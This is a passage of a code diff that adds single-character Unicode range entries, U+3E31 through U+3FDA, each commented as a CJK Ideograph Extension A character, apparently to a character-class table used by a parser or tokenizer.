+ ["\u3E31", "\u3E31"], /* CJK Ideograph Extension A */
+ ["\u3E32", "\u3E32"], /* CJK Ideograph Extension A */
+ ["\u3E33", "\u3E33"], /* CJK Ideograph Extension A */
+ ["\u3E34", "\u3E34"], /* CJK Ideograph Extension A */
+ ["\u3E35", "\u3E35"], /* CJK Ideograph Extension A */
+ ["\u3E36", "\u3E36"], /* CJK Ideograph Extension A */
+ ["\u3E37", "\u3E37"], /* CJK Ideograph Extension A */
+ ["\u3E38", "\u3E38"], /* CJK Ideograph Extension A */
+ ["\u3E39", "\u3E39"], /* CJK Ideograph Extension A */
+ ["\u3E3A", "\u3E3A"], /* CJK Ideograph Extension A */
+ ["\u3E3B", "\u3E3B"], /* CJK Ideograph Extension A */
+ ["\u3E3C", "\u3E3C"], /* CJK Ideograph Extension A */
+ ["\u3E3D", "\u3E3D"], /* CJK Ideograph Extension A */
+ ["\u3E3E", "\u3E3E"], /* CJK Ideograph Extension A */
+ ["\u3E3F", "\u3E3F"], /* CJK Ideograph Extension A */
+ ["\u3E40", "\u3E40"], /* CJK Ideograph Extension A */
+ ["\u3E41", "\u3E41"], /* CJK Ideograph Extension A */
+ ["\u3E42", "\u3E42"], /* CJK Ideograph Extension A */
+ ["\u3E43", "\u3E43"], /* CJK Ideograph Extension A */
+ ["\u3E44", "\u3E44"], /* CJK Ideograph Extension A */
+ ["\u3E45", "\u3E45"], /* CJK Ideograph Extension A */
+ ["\u3E46", "\u3E46"], /* CJK Ideograph Extension A */
+ ["\u3E47", "\u3E47"], /* CJK Ideograph Extension A */
+ ["\u3E48", "\u3E48"], /* CJK Ideograph Extension A */
+ ["\u3E49", "\u3E49"], /* CJK Ideograph Extension A */
+ ["\u3E4A", "\u3E4A"], /* CJK Ideograph Extension A */
+ ["\u3E4B", "\u3E4B"], /* CJK Ideograph Extension A */
+ ["\u3E4C", "\u3E4C"], /* CJK Ideograph Extension A */
+ ["\u3E4D", "\u3E4D"], /* CJK Ideograph Extension A */
+ ["\u3E4E", "\u3E4E"], /* CJK Ideograph Extension A */
+ ["\u3E4F", "\u3E4F"], /* CJK Ideograph Extension A */
+ ["\u3E50", "\u3E50"], /* CJK Ideograph Extension A */
+ ["\u3E51", "\u3E51"], /* CJK Ideograph Extension A */
+ ["\u3E52", "\u3E52"], /* CJK Ideograph Extension A */
+ ["\u3E53", "\u3E53"], /* CJK Ideograph Extension A */
+ ["\u3E54", "\u3E54"], /* CJK Ideograph Extension A */
+ ["\u3E55", "\u3E55"], /* CJK Ideograph Extension A */
+ ["\u3E56", "\u3E56"], /* CJK Ideograph Extension A */
+ ["\u3E57", "\u3E57"], /* CJK Ideograph Extension A */
+ ["\u3E58", "\u3E58"], /* CJK Ideograph Extension A */
+ ["\u3E59", "\u3E59"], /* CJK Ideograph Extension A */
+ ["\u3E5A", "\u3E5A"], /* CJK Ideograph Extension A */
+ ["\u3E5B", "\u3E5B"], /* CJK Ideograph Extension A */
+ ["\u3E5C", "\u3E5C"], /* CJK Ideograph Extension A */
+ ["\u3E5D", "\u3E5D"], /* CJK Ideograph Extension A */
+ ["\u3E5E", "\u3E5E"], /* CJK Ideograph Extension A */
+ ["\u3E5F", "\u3E5F"], /* CJK Ideograph Extension A */
+ ["\u3E60", "\u3E60"], /* CJK Ideograph Extension A */
+ ["\u3E61", "\u3E61"], /* CJK Ideograph Extension A */
+ ["\u3E62", "\u3E62"], /* CJK Ideograph Extension A */
+ ["\u3E63", "\u3E63"], /* CJK Ideograph Extension A */
+ ["\u3E64", "\u3E64"], /* CJK Ideograph Extension A */
+ ["\u3E65", "\u3E65"], /* CJK Ideograph Extension A */
+ ["\u3E66", "\u3E66"], /* CJK Ideograph Extension A */
+ ["\u3E67", "\u3E67"], /* CJK Ideograph Extension A */
+ ["\u3E68", "\u3E68"], /* CJK Ideograph Extension A */
+ ["\u3E69", "\u3E69"], /* CJK Ideograph Extension A */
+ ["\u3E6A", "\u3E6A"], /* CJK Ideograph Extension A */
+ ["\u3E6B", "\u3E6B"], /* CJK Ideograph Extension A */
+ ["\u3E6C", "\u3E6C"], /* CJK Ideograph Extension A */
+ ["\u3E6D", "\u3E6D"], /* CJK Ideograph Extension A */
+ ["\u3E6E", "\u3E6E"], /* CJK Ideograph Extension A */
+ ["\u3E6F", "\u3E6F"], /* CJK Ideograph Extension A */
+ ["\u3E70", "\u3E70"], /* CJK Ideograph Extension A */
+ ["\u3E71", "\u3E71"], /* CJK Ideograph Extension A */
+ ["\u3E72", "\u3E72"], /* CJK Ideograph Extension A */
+ ["\u3E73", "\u3E73"], /* CJK Ideograph Extension A */
+ ["\u3E74", "\u3E74"], /* CJK Ideograph Extension A */
+ ["\u3E75", "\u3E75"], /* CJK Ideograph Extension A */
+ ["\u3E76", "\u3E76"], /* CJK Ideograph Extension A */
+ ["\u3E77", "\u3E77"], /* CJK Ideograph Extension A */
+ ["\u3E78", "\u3E78"], /* CJK Ideograph Extension A */
+ ["\u3E79", "\u3E79"], /* CJK Ideograph Extension A */
+ ["\u3E7A", "\u3E7A"], /* CJK Ideograph Extension A */
+ ["\u3E7B", "\u3E7B"], /* CJK Ideograph Extension A */
+ ["\u3E7C", "\u3E7C"], /* CJK Ideograph Extension A */
+ ["\u3E7D", "\u3E7D"], /* CJK Ideograph Extension A */
+ ["\u3E7E", "\u3E7E"], /* CJK Ideograph Extension A */
+ ["\u3E7F", "\u3E7F"], /* CJK Ideograph Extension A */
+ ["\u3E80", "\u3E80"], /* CJK Ideograph Extension A */
+ ["\u3E81", "\u3E81"], /* CJK Ideograph Extension A */
+ ["\u3E82", "\u3E82"], /* CJK Ideograph Extension A */
+ ["\u3E83", "\u3E83"], /* CJK Ideograph Extension A */
+ ["\u3E84", "\u3E84"], /* CJK Ideograph Extension A */
+ ["\u3E85", "\u3E85"], /* CJK Ideograph Extension A */
+ ["\u3E86", "\u3E86"], /* CJK Ideograph Extension A */
+ ["\u3E87", "\u3E87"], /* CJK Ideograph Extension A */
+ ["\u3E88", "\u3E88"], /* CJK Ideograph Extension A */
+ ["\u3E89", "\u3E89"], /* CJK Ideograph Extension A */
+ ["\u3E8A", "\u3E8A"], /* CJK Ideograph Extension A */
+ ["\u3E8B", "\u3E8B"], /* CJK Ideograph Extension A */
+ ["\u3E8C", "\u3E8C"], /* CJK Ideograph Extension A */
+ ["\u3E8D", "\u3E8D"], /* CJK Ideograph Extension A */
+ ["\u3E8E", "\u3E8E"], /* CJK Ideograph Extension A */
+ ["\u3E8F", "\u3E8F"], /* CJK Ideograph Extension A */
+ ["\u3E90", "\u3E90"], /* CJK Ideograph Extension A */
+ ["\u3E91", "\u3E91"], /* CJK Ideograph Extension A */
+ ["\u3E92", "\u3E92"], /* CJK Ideograph Extension A */
+ ["\u3E93", "\u3E93"], /* CJK Ideograph Extension A */
+ ["\u3E94", "\u3E94"], /* CJK Ideograph Extension A */
+ ["\u3E95", "\u3E95"], /* CJK Ideograph Extension A */
+ ["\u3E96", "\u3E96"], /* CJK Ideograph Extension A */
+ ["\u3E97", "\u3E97"], /* CJK Ideograph Extension A */
+ ["\u3E98", "\u3E98"], /* CJK Ideograph Extension A */
+ ["\u3E99", "\u3E99"], /* CJK Ideograph Extension A */
+ ["\u3E9A", "\u3E9A"], /* CJK Ideograph Extension A */
+ ["\u3E9B", "\u3E9B"], /* CJK Ideograph Extension A */
+ ["\u3E9C", "\u3E9C"], /* CJK Ideograph Extension A */
+ ["\u3E9D", "\u3E9D"], /* CJK Ideograph Extension A */
+ ["\u3E9E", "\u3E9E"], /* CJK Ideograph Extension A */
+ ["\u3E9F", "\u3E9F"], /* CJK Ideograph Extension A */
+ ["\u3EA0", "\u3EA0"], /* CJK Ideograph Extension A */
+ ["\u3EA1", "\u3EA1"], /* CJK Ideograph Extension A */
+ ["\u3EA2", "\u3EA2"], /* CJK Ideograph Extension A */
+ ["\u3EA3", "\u3EA3"], /* CJK Ideograph Extension A */
+ ["\u3EA4", "\u3EA4"], /* CJK Ideograph Extension A */
+ ["\u3EA5", "\u3EA5"], /* CJK Ideograph Extension A */
+ ["\u3EA6", "\u3EA6"], /* CJK Ideograph Extension A */
+ ["\u3EA7", "\u3EA7"], /* CJK Ideograph Extension A */
+ ["\u3EA8", "\u3EA8"], /* CJK Ideograph Extension A */
+ ["\u3EA9", "\u3EA9"], /* CJK Ideograph Extension A */
+ ["\u3EAA", "\u3EAA"], /* CJK Ideograph Extension A */
+ ["\u3EAB", "\u3EAB"], /* CJK Ideograph Extension A */
+ ["\u3EAC", "\u3EAC"], /* CJK Ideograph Extension A */
+ ["\u3EAD", "\u3EAD"], /* CJK Ideograph Extension A */
+ ["\u3EAE", "\u3EAE"], /* CJK Ideograph Extension A */
+ ["\u3EAF", "\u3EAF"], /* CJK Ideograph Extension A */
+ ["\u3EB0", "\u3EB0"], /* CJK Ideograph Extension A */
+ ["\u3EB1", "\u3EB1"], /* CJK Ideograph Extension A */
+ ["\u3EB2", "\u3EB2"], /* CJK Ideograph Extension A */
+ ["\u3EB3", "\u3EB3"], /* CJK Ideograph Extension A */
+ ["\u3EB4", "\u3EB4"], /* CJK Ideograph Extension A */
+ ["\u3EB5", "\u3EB5"], /* CJK Ideograph Extension A */
+ ["\u3EB6", "\u3EB6"], /* CJK Ideograph Extension A */
+ ["\u3EB7", "\u3EB7"], /* CJK Ideograph Extension A */
+ ["\u3EB8", "\u3EB8"], /* CJK Ideograph Extension A */
+ ["\u3EB9", "\u3EB9"], /* CJK Ideograph Extension A */
+ ["\u3EBA", "\u3EBA"], /* CJK Ideograph Extension A */
+ ["\u3EBB", "\u3EBB"], /* CJK Ideograph Extension A */
+ ["\u3EBC", "\u3EBC"], /* CJK Ideograph Extension A */
+ ["\u3EBD", "\u3EBD"], /* CJK Ideograph Extension A */
+ ["\u3EBE", "\u3EBE"], /* CJK Ideograph Extension A */
+ ["\u3EBF", "\u3EBF"], /* CJK Ideograph Extension A */
+ ["\u3EC0", "\u3EC0"], /* CJK Ideograph Extension A */
+ ["\u3EC1", "\u3EC1"], /* CJK Ideograph Extension A */
+ ["\u3EC2", "\u3EC2"], /* CJK Ideograph Extension A */
+ ["\u3EC3", "\u3EC3"], /* CJK Ideograph Extension A */
+ ["\u3EC4", "\u3EC4"], /* CJK Ideograph Extension A */
+ ["\u3EC5", "\u3EC5"], /* CJK Ideograph Extension A */
+ ["\u3EC6", "\u3EC6"], /* CJK Ideograph Extension A */
+ ["\u3EC7", "\u3EC7"], /* CJK Ideograph Extension A */
+ ["\u3EC8", "\u3EC8"], /* CJK Ideograph Extension A */
+ ["\u3EC9", "\u3EC9"], /* CJK Ideograph Extension A */
+ ["\u3ECA", "\u3ECA"], /* CJK Ideograph Extension A */
+ ["\u3ECB", "\u3ECB"], /* CJK Ideograph Extension A */
+ ["\u3ECC", "\u3ECC"], /* CJK Ideograph Extension A */
+ ["\u3ECD", "\u3ECD"], /* CJK Ideograph Extension A */
+ ["\u3ECE", "\u3ECE"], /* CJK Ideograph Extension A */
+ ["\u3ECF", "\u3ECF"], /* CJK Ideograph Extension A */
+ ["\u3ED0", "\u3ED0"], /* CJK Ideograph Extension A */
+ ["\u3ED1", "\u3ED1"], /* CJK Ideograph Extension A */
+ ["\u3ED2", "\u3ED2"], /* CJK Ideograph Extension A */
+ ["\u3ED3", "\u3ED3"], /* CJK Ideograph Extension A */
+ ["\u3ED4", "\u3ED4"], /* CJK Ideograph Extension A */
+ ["\u3ED5", "\u3ED5"], /* CJK Ideograph Extension A */
+ ["\u3ED6", "\u3ED6"], /* CJK Ideograph Extension A */
+ ["\u3ED7", "\u3ED7"], /* CJK Ideograph Extension A */
+ ["\u3ED8", "\u3ED8"], /* CJK Ideograph Extension A */
+ ["\u3ED9", "\u3ED9"], /* CJK Ideograph Extension A */
+ ["\u3EDA", "\u3EDA"], /* CJK Ideograph Extension A */
+ ["\u3EDB", "\u3EDB"], /* CJK Ideograph Extension A */
+ ["\u3EDC", "\u3EDC"], /* CJK Ideograph Extension A */
+ ["\u3EDD", "\u3EDD"], /* CJK Ideograph Extension A */
+ ["\u3EDE", "\u3EDE"], /* CJK Ideograph Extension A */
+ ["\u3EDF", "\u3EDF"], /* CJK Ideograph Extension A */
+ ["\u3EE0", "\u3EE0"], /* CJK Ideograph Extension A */
+ ["\u3EE1", "\u3EE1"], /* CJK Ideograph Extension A */
+ ["\u3EE2", "\u3EE2"], /* CJK Ideograph Extension A */
+ ["\u3EE3", "\u3EE3"], /* CJK Ideograph Extension A */
+ ["\u3EE4", "\u3EE4"], /* CJK Ideograph Extension A */
+ ["\u3EE5", "\u3EE5"], /* CJK Ideograph Extension A */
+ ["\u3EE6", "\u3EE6"], /* CJK Ideograph Extension A */
+ ["\u3EE7", "\u3EE7"], /* CJK Ideograph Extension A */
+ ["\u3EE8", "\u3EE8"], /* CJK Ideograph Extension A */
+ ["\u3EE9", "\u3EE9"], /* CJK Ideograph Extension A */
+ ["\u3EEA", "\u3EEA"], /* CJK Ideograph Extension A */
+ ["\u3EEB", "\u3EEB"], /* CJK Ideograph Extension A */
+ ["\u3EEC", "\u3EEC"], /* CJK Ideograph Extension A */
+ ["\u3EED", "\u3EED"], /* CJK Ideograph Extension A */
+ ["\u3EEE", "\u3EEE"], /* CJK Ideograph Extension A */
+ ["\u3EEF", "\u3EEF"], /* CJK Ideograph Extension A */
+ ["\u3EF0", "\u3EF0"], /* CJK Ideograph Extension A */
+ ["\u3EF1", "\u3EF1"], /* CJK Ideograph Extension A */
+ ["\u3EF2", "\u3EF2"], /* CJK Ideograph Extension A */
+ ["\u3EF3", "\u3EF3"], /* CJK Ideograph Extension A */
+ ["\u3EF4", "\u3EF4"], /* CJK Ideograph Extension A */
+ ["\u3EF5", "\u3EF5"], /* CJK Ideograph Extension A */
+ ["\u3EF6", "\u3EF6"], /* CJK Ideograph Extension A */
+ ["\u3EF7", "\u3EF7"], /* CJK Ideograph Extension A */
+ ["\u3EF8", "\u3EF8"], /* CJK Ideograph Extension A */
+ ["\u3EF9", "\u3EF9"], /* CJK Ideograph Extension A */
+ ["\u3EFA", "\u3EFA"], /* CJK Ideograph Extension A */
+ ["\u3EFB", "\u3EFB"], /* CJK Ideograph Extension A */
+ ["\u3EFC", "\u3EFC"], /* CJK Ideograph Extension A */
+ ["\u3EFD", "\u3EFD"], /* CJK Ideograph Extension A */
+ ["\u3EFE", "\u3EFE"], /* CJK Ideograph Extension A */
+ ["\u3EFF", "\u3EFF"], /* CJK Ideograph Extension A */
+ ["\u3F00", "\u3F00"], /* CJK Ideograph Extension A */
+ ["\u3F01", "\u3F01"], /* CJK Ideograph Extension A */
+ ["\u3F02", "\u3F02"], /* CJK Ideograph Extension A */
+ ["\u3F03", "\u3F03"], /* CJK Ideograph Extension A */
+ ["\u3F04", "\u3F04"], /* CJK Ideograph Extension A */
+ ["\u3F05", "\u3F05"], /* CJK Ideograph Extension A */
+ ["\u3F06", "\u3F06"], /* CJK Ideograph Extension A */
+ ["\u3F07", "\u3F07"], /* CJK Ideograph Extension A */
+ ["\u3F08", "\u3F08"], /* CJK Ideograph Extension A */
+ ["\u3F09", "\u3F09"], /* CJK Ideograph Extension A */
+ ["\u3F0A", "\u3F0A"], /* CJK Ideograph Extension A */
+ ["\u3F0B", "\u3F0B"], /* CJK Ideograph Extension A */
+ ["\u3F0C", "\u3F0C"], /* CJK Ideograph Extension A */
+ ["\u3F0D", "\u3F0D"], /* CJK Ideograph Extension A */
+ ["\u3F0E", "\u3F0E"], /* CJK Ideograph Extension A */
+ ["\u3F0F", "\u3F0F"], /* CJK Ideograph Extension A */
+ ["\u3F10", "\u3F10"], /* CJK Ideograph Extension A */
+ ["\u3F11", "\u3F11"], /* CJK Ideograph Extension A */
+ ["\u3F12", "\u3F12"], /* CJK Ideograph Extension A */
+ ["\u3F13", "\u3F13"], /* CJK Ideograph Extension A */
+ ["\u3F14", "\u3F14"], /* CJK Ideograph Extension A */
+ ["\u3F15", "\u3F15"], /* CJK Ideograph Extension A */
+ ["\u3F16", "\u3F16"], /* CJK Ideograph Extension A */
+ ["\u3F17", "\u3F17"], /* CJK Ideograph Extension A */
+ ["\u3F18", "\u3F18"], /* CJK Ideograph Extension A */
+ ["\u3F19", "\u3F19"], /* CJK Ideograph Extension A */
+ ["\u3F1A", "\u3F1A"], /* CJK Ideograph Extension A */
+ ["\u3F1B", "\u3F1B"], /* CJK Ideograph Extension A */
+ ["\u3F1C", "\u3F1C"], /* CJK Ideograph Extension A */
+ ["\u3F1D", "\u3F1D"], /* CJK Ideograph Extension A */
+ ["\u3F1E", "\u3F1E"], /* CJK Ideograph Extension A */
+ ["\u3F1F", "\u3F1F"], /* CJK Ideograph Extension A */
+ ["\u3F20", "\u3F20"], /* CJK Ideograph Extension A */
+ ["\u3F21", "\u3F21"], /* CJK Ideograph Extension A */
+ ["\u3F22", "\u3F22"], /* CJK Ideograph Extension A */
+ ["\u3F23", "\u3F23"], /* CJK Ideograph Extension A */
+ ["\u3F24", "\u3F24"], /* CJK Ideograph Extension A */
+ ["\u3F25", "\u3F25"], /* CJK Ideograph Extension A */
+ ["\u3F26", "\u3F26"], /* CJK Ideograph Extension A */
+ ["\u3F27", "\u3F27"], /* CJK Ideograph Extension A */
+ ["\u3F28", "\u3F28"], /* CJK Ideograph Extension A */
+ ["\u3F29", "\u3F29"], /* CJK Ideograph Extension A */
+ ["\u3F2A", "\u3F2A"], /* CJK Ideograph Extension A */
+ ["\u3F2B", "\u3F2B"], /* CJK Ideograph Extension A */
+ ["\u3F2C", "\u3F2C"], /* CJK Ideograph Extension A */
+ ["\u3F2D", "\u3F2D"], /* CJK Ideograph Extension A */
+ ["\u3F2E", "\u3F2E"], /* CJK Ideograph Extension A */
+ ["\u3F2F", "\u3F2F"], /* CJK Ideograph Extension A */
+ ["\u3F30", "\u3F30"], /* CJK Ideograph Extension A */
+ ["\u3F31", "\u3F31"], /* CJK Ideograph Extension A */
+ ["\u3F32", "\u3F32"], /* CJK Ideograph Extension A */
+ ["\u3F33", "\u3F33"], /* CJK Ideograph Extension A */
+ ["\u3F34", "\u3F34"], /* CJK Ideograph Extension A */
+ ["\u3F35", "\u3F35"], /* CJK Ideograph Extension A */
+ ["\u3F36", "\u3F36"], /* CJK Ideograph Extension A */
+ ["\u3F37", "\u3F37"], /* CJK Ideograph Extension A */
+ ["\u3F38", "\u3F38"], /* CJK Ideograph Extension A */
+ ["\u3F39", "\u3F39"], /* CJK Ideograph Extension A */
+ ["\u3F3A", "\u3F3A"], /* CJK Ideograph Extension A */
+ ["\u3F3B", "\u3F3B"], /* CJK Ideograph Extension A */
+ ["\u3F3C", "\u3F3C"], /* CJK Ideograph Extension A */
+ ["\u3F3D", "\u3F3D"], /* CJK Ideograph Extension A */
+ ["\u3F3E", "\u3F3E"], /* CJK Ideograph Extension A */
+ ["\u3F3F", "\u3F3F"], /* CJK Ideograph Extension A */
+ ["\u3F40", "\u3F40"], /* CJK Ideograph Extension A */
+ ["\u3F41", "\u3F41"], /* CJK Ideograph Extension A */
+ ["\u3F42", "\u3F42"], /* CJK Ideograph Extension A */
+ ["\u3F43", "\u3F43"], /* CJK Ideograph Extension A */
+ ["\u3F44", "\u3F44"], /* CJK Ideograph Extension A */
+ ["\u3F45", "\u3F45"], /* CJK Ideograph Extension A */
+ ["\u3F46", "\u3F46"], /* CJK Ideograph Extension A */
+ ["\u3F47", "\u3F47"], /* CJK Ideograph Extension A */
+ ["\u3F48", "\u3F48"], /* CJK Ideograph Extension A */
+ ["\u3F49", "\u3F49"], /* CJK Ideograph Extension A */
+ ["\u3F4A", "\u3F4A"], /* CJK Ideograph Extension A */
+ ["\u3F4B", "\u3F4B"], /* CJK Ideograph Extension A */
+ ["\u3F4C", "\u3F4C"], /* CJK Ideograph Extension A */
+ ["\u3F4D", "\u3F4D"], /* CJK Ideograph Extension A */
+ ["\u3F4E", "\u3F4E"], /* CJK Ideograph Extension A */
+ ["\u3F4F", "\u3F4F"], /* CJK Ideograph Extension A */
+ ["\u3F50", "\u3F50"], /* CJK Ideograph Extension A */
+ ["\u3F51", "\u3F51"], /* CJK Ideograph Extension A */
+ ["\u3F52", "\u3F52"], /* CJK Ideograph Extension A */
+ ["\u3F53", "\u3F53"], /* CJK Ideograph Extension A */
+ ["\u3F54", "\u3F54"], /* CJK Ideograph Extension A */
+ ["\u3F55", "\u3F55"], /* CJK Ideograph Extension A */
+ ["\u3F56", "\u3F56"], /* CJK Ideograph Extension A */
+ ["\u3F57", "\u3F57"], /* CJK Ideograph Extension A */
+ ["\u3F58", "\u3F58"], /* CJK Ideograph Extension A */
+ ["\u3F59", "\u3F59"], /* CJK Ideograph Extension A */
+ ["\u3F5A", "\u3F5A"], /* CJK Ideograph Extension A */
+ ["\u3F5B", "\u3F5B"], /* CJK Ideograph Extension A */
+ ["\u3F5C", "\u3F5C"], /* CJK Ideograph Extension A */
+ ["\u3F5D", "\u3F5D"], /* CJK Ideograph Extension A */
+ ["\u3F5E", "\u3F5E"], /* CJK Ideograph Extension A */
+ ["\u3F5F", "\u3F5F"], /* CJK Ideograph Extension A */
+ ["\u3F60", "\u3F60"], /* CJK Ideograph Extension A */
+ ["\u3F61", "\u3F61"], /* CJK Ideograph Extension A */
+ ["\u3F62", "\u3F62"], /* CJK Ideograph Extension A */
+ ["\u3F63", "\u3F63"], /* CJK Ideograph Extension A */
+ ["\u3F64", "\u3F64"], /* CJK Ideograph Extension A */
+ ["\u3F65", "\u3F65"], /* CJK Ideograph Extension A */
+ ["\u3F66", "\u3F66"], /* CJK Ideograph Extension A */
+ ["\u3F67", "\u3F67"], /* CJK Ideograph Extension A */
+ ["\u3F68", "\u3F68"], /* CJK Ideograph Extension A */
+ ["\u3F69", "\u3F69"], /* CJK Ideograph Extension A */
+ ["\u3F6A", "\u3F6A"], /* CJK Ideograph Extension A */
+ ["\u3F6B", "\u3F6B"], /* CJK Ideograph Extension A */
+ ["\u3F6C", "\u3F6C"], /* CJK Ideograph Extension A */
+ ["\u3F6D", "\u3F6D"], /* CJK Ideograph Extension A */
+ ["\u3F6E", "\u3F6E"], /* CJK Ideograph Extension A */
+ ["\u3F6F", "\u3F6F"], /* CJK Ideograph Extension A */
+ ["\u3F70", "\u3F70"], /* CJK Ideograph Extension A */
+ ["\u3F71", "\u3F71"], /* CJK Ideograph Extension A */
+ ["\u3F72", "\u3F72"], /* CJK Ideograph Extension A */
+ ["\u3F73", "\u3F73"], /* CJK Ideograph Extension A */
+ ["\u3F74", "\u3F74"], /* CJK Ideograph Extension A */
+ ["\u3F75", "\u3F75"], /* CJK Ideograph Extension A */
+ ["\u3F76", "\u3F76"], /* CJK Ideograph Extension A */
+ ["\u3F77", "\u3F77"], /* CJK Ideograph Extension A */
+ ["\u3F78", "\u3F78"], /* CJK Ideograph Extension A */
+ ["\u3F79", "\u3F79"], /* CJK Ideograph Extension A */
+ ["\u3F7A", "\u3F7A"], /* CJK Ideograph Extension A */
+ ["\u3F7B", "\u3F7B"], /* CJK Ideograph Extension A */
+ ["\u3F7C", "\u3F7C"], /* CJK Ideograph Extension A */
+ ["\u3F7D", "\u3F7D"], /* CJK Ideograph Extension A */
+ ["\u3F7E", "\u3F7E"], /* CJK Ideograph Extension A */
+ ["\u3F7F", "\u3F7F"], /* CJK Ideograph Extension A */
+ ["\u3F80", "\u3F80"], /* CJK Ideograph Extension A */
+ ["\u3F81", "\u3F81"], /* CJK Ideograph Extension A */
+ ["\u3F82", "\u3F82"], /* CJK Ideograph Extension A */
+ ["\u3F83", "\u3F83"], /* CJK Ideograph Extension A */
+ ["\u3F84", "\u3F84"], /* CJK Ideograph Extension A */
+ ["\u3F85", "\u3F85"], /* CJK Ideograph Extension A */
+ ["\u3F86", "\u3F86"], /* CJK Ideograph Extension A */
+ ["\u3F87", "\u3F87"], /* CJK Ideograph Extension A */
+ ["\u3F88", "\u3F88"], /* CJK Ideograph Extension A */
+ ["\u3F89", "\u3F89"], /* CJK Ideograph Extension A */
+ ["\u3F8A", "\u3F8A"], /* CJK Ideograph Extension A */
+ ["\u3F8B", "\u3F8B"], /* CJK Ideograph Extension A */
+ ["\u3F8C", "\u3F8C"], /* CJK Ideograph Extension A */
+ ["\u3F8D", "\u3F8D"], /* CJK Ideograph Extension A */
+ ["\u3F8E", "\u3F8E"], /* CJK Ideograph Extension A */
+ ["\u3F8F", "\u3F8F"], /* CJK Ideograph Extension A */
+ ["\u3F90", "\u3F90"], /* CJK Ideograph Extension A */
+ ["\u3F91", "\u3F91"], /* CJK Ideograph Extension A */
+ ["\u3F92", "\u3F92"], /* CJK Ideograph Extension A */
+ ["\u3F93", "\u3F93"], /* CJK Ideograph Extension A */
+ ["\u3F94", "\u3F94"], /* CJK Ideograph Extension A */
+ ["\u3F95", "\u3F95"], /* CJK Ideograph Extension A */
+ ["\u3F96", "\u3F96"], /* CJK Ideograph Extension A */
+ ["\u3F97", "\u3F97"], /* CJK Ideograph Extension A */
+ ["\u3F98", "\u3F98"], /* CJK Ideograph Extension A */
+ ["\u3F99", "\u3F99"], /* CJK Ideograph Extension A */
+ ["\u3F9A", "\u3F9A"], /* CJK Ideograph Extension A */
+ ["\u3F9B", "\u3F9B"], /* CJK Ideograph Extension A */
+ ["\u3F9C", "\u3F9C"], /* CJK Ideograph Extension A */
+ ["\u3F9D", "\u3F9D"], /* CJK Ideograph Extension A */
+ ["\u3F9E", "\u3F9E"], /* CJK Ideograph Extension A */
+ ["\u3F9F", "\u3F9F"], /* CJK Ideograph Extension A */
+ ["\u3FA0", "\u3FA0"], /* CJK Ideograph Extension A */
+ ["\u3FA1", "\u3FA1"], /* CJK Ideograph Extension A */
+ ["\u3FA2", "\u3FA2"], /* CJK Ideograph Extension A */
+ ["\u3FA3", "\u3FA3"], /* CJK Ideograph Extension A */
+ ["\u3FA4", "\u3FA4"], /* CJK Ideograph Extension A */
+ ["\u3FA5", "\u3FA5"], /* CJK Ideograph Extension A */
+ ["\u3FA6", "\u3FA6"], /* CJK Ideograph Extension A */
+ ["\u3FA7", "\u3FA7"], /* CJK Ideograph Extension A */
+ ["\u3FA8", "\u3FA8"], /* CJK Ideograph Extension A */
+ ["\u3FA9", "\u3FA9"], /* CJK Ideograph Extension A */
+ ["\u3FAA", "\u3FAA"], /* CJK Ideograph Extension A */
+ ["\u3FAB", "\u3FAB"], /* CJK Ideograph Extension A */
+ ["\u3FAC", "\u3FAC"], /* CJK Ideograph Extension A */
+ ["\u3FAD", "\u3FAD"], /* CJK Ideograph Extension A */
+ ["\u3FAE", "\u3FAE"], /* CJK Ideograph Extension A */
+ ["\u3FAF", "\u3FAF"], /* CJK Ideograph Extension A */
+ ["\u3FB0", "\u3FB0"], /* CJK Ideograph Extension A */
+ ["\u3FB1", "\u3FB1"], /* CJK Ideograph Extension A */
+ ["\u3FB2", "\u3FB2"], /* CJK Ideograph Extension A */
+ ["\u3FB3", "\u3FB3"], /* CJK Ideograph Extension A */
+ ["\u3FB4", "\u3FB4"], /* CJK Ideograph Extension A */
+ ["\u3FB5", "\u3FB5"], /* CJK Ideograph Extension A */
+ ["\u3FB6", "\u3FB6"], /* CJK Ideograph Extension A */
+ ["\u3FB7", "\u3FB7"], /* CJK Ideograph Extension A */
+ ["\u3FB8", "\u3FB8"], /* CJK Ideograph Extension A */
+ ["\u3FB9", "\u3FB9"], /* CJK Ideograph Extension A */
+ ["\u3FBA", "\u3FBA"], /* CJK Ideograph Extension A */
+ ["\u3FBB", "\u3FBB"], /* CJK Ideograph Extension A */
+ ["\u3FBC", "\u3FBC"], /* CJK Ideograph Extension A */
+ ["\u3FBD", "\u3FBD"], /* CJK Ideograph Extension A */
+ ["\u3FBE", "\u3FBE"], /* CJK Ideograph Extension A */
+ ["\u3FBF", "\u3FBF"], /* CJK Ideograph Extension A */
+ ["\u3FC0", "\u3FC0"], /* CJK Ideograph Extension A */
+ ["\u3FC1", "\u3FC1"], /* CJK Ideograph Extension A */
+ ["\u3FC2", "\u3FC2"], /* CJK Ideograph Extension A */
+ ["\u3FC3", "\u3FC3"], /* CJK Ideograph Extension A */
+ ["\u3FC4", "\u3FC4"], /* CJK Ideograph Extension A */
+ ["\u3FC5", "\u3FC5"], /* CJK Ideograph Extension A */
+ ["\u3FC6", "\u3FC6"], /* CJK Ideograph Extension A */
+ ["\u3FC7", "\u3FC7"], /* CJK Ideograph Extension A */
+ ["\u3FC8", "\u3FC8"], /* CJK Ideograph Extension A */
+ ["\u3FC9", "\u3FC9"], /* CJK Ideograph Extension A */
+ ["\u3FCA", "\u3FCA"], /* CJK Ideograph Extension A */
+ ["\u3FCB", "\u3FCB"], /* CJK Ideograph Extension A */
+ ["\u3FCC", "\u3FCC"], /* CJK Ideograph Extension A */
+ ["\u3FCD", "\u3FCD"], /* CJK Ideograph Extension A */
+ ["\u3FCE", "\u3FCE"], /* CJK Ideograph Extension A */
+ ["\u3FCF", "\u3FCF"], /* CJK Ideograph Extension A */
+ ["\u3FD0", "\u3FD0"], /* CJK Ideograph Extension A */
+ ["\u3FD1", "\u3FD1"], /* CJK Ideograph Extension A */
+ ["\u3FD2", "\u3FD2"], /* CJK Ideograph Extension A */
+ ["\u3FD3", "\u3FD3"], /* CJK Ideograph Extension A */
+ ["\u3FD4", "\u3FD4"], /* CJK Ideograph Extension A */
+ ["\u3FD5", "\u3FD5"], /* CJK Ideograph Extension A */
+ ["\u3FD6", "\u3FD6"], /* CJK Ideograph Extension A */
+ ["\u3FD7", "\u3FD7"], /* CJK Ideograph Extension A */
+ ["\u3FD8", "\u3FD8"], /* CJK Ideograph Extension A */
+ ["\u3FD9", "\u3FD9"], /* CJK Ideograph Extension A */
+ ["\u3FDA", "\u3FDA"], /* CJK Ideograph Extension A */
